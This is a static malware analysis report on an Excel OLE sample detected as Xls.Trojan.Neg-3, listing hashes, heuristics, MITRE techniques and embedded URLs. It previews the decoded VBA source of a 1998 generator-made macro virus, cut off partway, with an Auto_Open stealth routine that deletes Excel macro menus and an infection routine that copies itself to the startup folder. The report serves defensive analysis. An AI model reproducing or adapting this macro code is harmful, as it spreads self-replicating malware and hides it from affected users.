Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 01f81cf7c52b0325…

MALICIOUS

Office (OLE)

42.0 KB Created: 1998-05-02 00:53:48 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 094653e9f3d17816272fe87df88ec7d2 SHA-1: f51d175369c0ef7f84ce940cf0a154f23f369cb2 SHA-256: 01f81cf7c52b03253dc18f63adccbb4ed10e196145e583e92a3591332c2c26dd
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Neg-3. It contains VBA macros, including an Auto_Open macro, which is a common technique for executing malicious code upon opening a document. The script attempts to hide its presence by manipulating Excel's menu bars, indicating a deliberate effort to conceal its malicious activity. The embedded URL 'http://www.focus-asia.com/home/NoMercyVirusTeam' is flagged as unknown and is a potential indicator of compromise.

Heuristics 5

  • ClamAV: Xls.Trojan.Neg-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Neg-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.focus-asia.com/home/NoMercyVirusTeam In document text (OLE body)
    • http://www.geocities.com/athens/olympus/1903/first.htmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6899 bytes
SHA-256: 575b0a4b997f411c8337e194ac886228955c150709ee3608ef3e77aa89a09c13
Detection
ClamAV: Xls.Trojan.Neg-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aDHIFS"


'------------ >>>> BEGIN CUT! <<<< --------------
'------------------------------------------------
'Generated with NEG !!. Please include this text
'------------------------------------------------
'NEG is Trademark of NoMercy
'Date generated  : 2- 5- 1998
'VirusName:  aDHI'FS!
'Author:  Adhi Fachriansyah S And Mehonx'S !
'Module Name:  aDHIFS
'Template: ADHIS.XLM

Sub Auto_Open()
Attribute Auto_Open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
'>>---------------------------------[Begin Stealth Routine]-----
MenuBars(xlWorksheet).Reset
MenuBars(xlModule).Reset
MenuBars(xlNoDocuments).Reset
MenuBars(xlInfo).Reset
MenuBars(xlChart).Reset
MenuBars(xlWorksheet).Menus("Tools").MenuItems("---").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlWorksheet).Menus("Format").MenuItems("S&heet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("--").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Delete...").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlWorksheet).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("---").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("--").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlChart).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlModule).Menus("Tools").MenuItems("Assig&n Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("--").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Record New Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Unhide...").Delete
'>>---------------------------------[End of Stealth Routine]-----
    
    
'>>---------------------------------[Begin Infection Routine]-----
If cek_global() Then 'check on global!
    GoTo FuckSheet:    'found?
Else
    infectglobal     'Lound the speaker we want dance :)
End If
FuckSheet:
Application.OnSheetActivate = "ADHIS.XLM!Fuck"
bye:
End Sub

Function cek_global() As Boolean
Attribute cek_global.VB_ProcData.VB_Invoke_Func = " \n14"
cek_global = False
For x = 1 To Application.Workbooks.Count
    If Application.Workbooks(x).Name = "ADHIS.XLM" Then
    For y = 1 To Application.Workbooks("ADHIS.XLM").Modules.Count
        If Application.Workbooks("ADHIS.XLM").Modules(y).Name = "aDHIFS" Then
            cek_global = True
        End If
    Next y
    End If
Next x
End Function

Function infectglobal()
Attribute infectglobal.VB_ProcData.VB_Invoke_Func = " \n14"
  activebook = ActiveWorkbook.Name
  Workbooks(activebook).SaveCopyAs Application.StartupPath + "\ADHIS.XLM"
  Workbooks.Open (Application.StartupPath + "\ADHIS.XLM")
  Windows("ADHIS.XLM").Visible = False
 Application.Workbooks("ADHIS.XLM").Save
End Function

Function inFuckIt() As Boolean
Attribute inFuckIt.VB_ProcData.VB_Invoke_Func = " \n14"
activebook = ActiveWorkbook.Name
inFuckIt = False
For y = 1 To Application.Workbooks(activebook).Modules.Count
    If Application.Workbooks(activebook).Modules(y).Name = "aDHIFS" Then
            inFuckIt = True
   End If
Next y
End Function

Sub Fuck()
Attribute Fuck.VB_ProcData.VB_Invoke_Func = " \n14"
    oactivebook = ActiveWorkbook.Name
    If inFuckI
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.